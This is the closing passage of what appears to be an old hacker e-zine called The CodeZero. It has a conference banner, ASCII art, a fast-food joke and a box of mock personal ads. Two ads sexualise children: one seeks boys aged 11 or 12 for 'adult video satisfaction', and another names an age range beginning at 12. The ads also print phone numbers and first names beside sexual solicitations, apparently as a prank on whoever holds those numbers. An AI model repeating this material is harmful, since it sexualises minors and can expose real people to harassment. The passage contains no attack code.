  1556.                  of many hotels in the immediate area.
  1557.  
  1558.  
  1559. ******************************************************************************
  1560.                          http://www.aom.co.uk/total/
  1561. ******************************************************************************
  1562.   +------------------------------------+------------------------------------+
  1563.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1564.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1565.   +------------------------------------+------------------------------------+
  1566. ******************************************************************************
  1567.                          http://www.aom.co.uk/total/
  1568. ******************************************************************************
  1569.  
  1570. ───────────────────────────────────────────────────────────────────────────────
  1571. ===============================================================================
  1572. ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
  1573. ===============================================================================
  1574. ───────────────────────────────────────────────────────────────────────────────
  1575. --------------------------------------+---------------------------------------
  1576.                                       |
  1577.            YOUR SPECIAL AD            |            LET'S BE FREE
  1578.                                       |
  1579.        COULD BE RIGHT HERE #@!        |    Gay White Male 38, 5'11" looking
  1580.                                       |    for men, 12 - 32 clean, fit, and
  1581.        SEND ELECTRONIC MAIL TO:       |    hairy. Discreet Encounters.
  1582.            ADZ@CODEZ.COM              |    Call Anytime : (816)781-8009
  1583.                                       |                   (Ask for Tommy)
  1584.                                       |
  1585. --------------------------------------+---------------------------------------
  1586.                                       |
  1587.         ARE YOU 11 OR 12 ???          |      FREE FONESEX! CALL ME NOW!@
  1588.                                       |
  1589.  Looking for men 11 - 12 for adult    |    Yeah huney, you know you want me,
  1590.  video satisfaction. I am 35 into     |    I'll treat you just right, I'm
  1591.  Professional wrestling.              |    waiting for your call today!
  1592.  Let's talk soon : (816)453-8722      |    CALL ME NOW!@# : (847)546-9154
  1593.                                       |                     (Ask for Kim)
  1594. --------------------------------------+---------------------------------------
  1595. ───────────────────────────────────────────────────────────────────────────────
  1596.                             .oO The CodeZero Oo.
  1597. ───────────────────────────────────────────────────────────────────────────────
  1598.  
  1599.                       _   /|  k0dek4t sez...
  1600.                       \'o O'                            
  1601.                       =(_o_)=   "EyEm HuNGaRy FoR SKiLLz,
  1602.                         U               nOt CaTf00d!!#@"
  1603.  
  1604.  
  1605. ───────────────────────────────────────────────────────────────────────────────
  1606.           Remember, McDonalds Owns You, And Ronald Is The KinG!!!
  1607.          Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#*
  1608. ───────────────────────────────────────────────────────────────────────────────
  1609.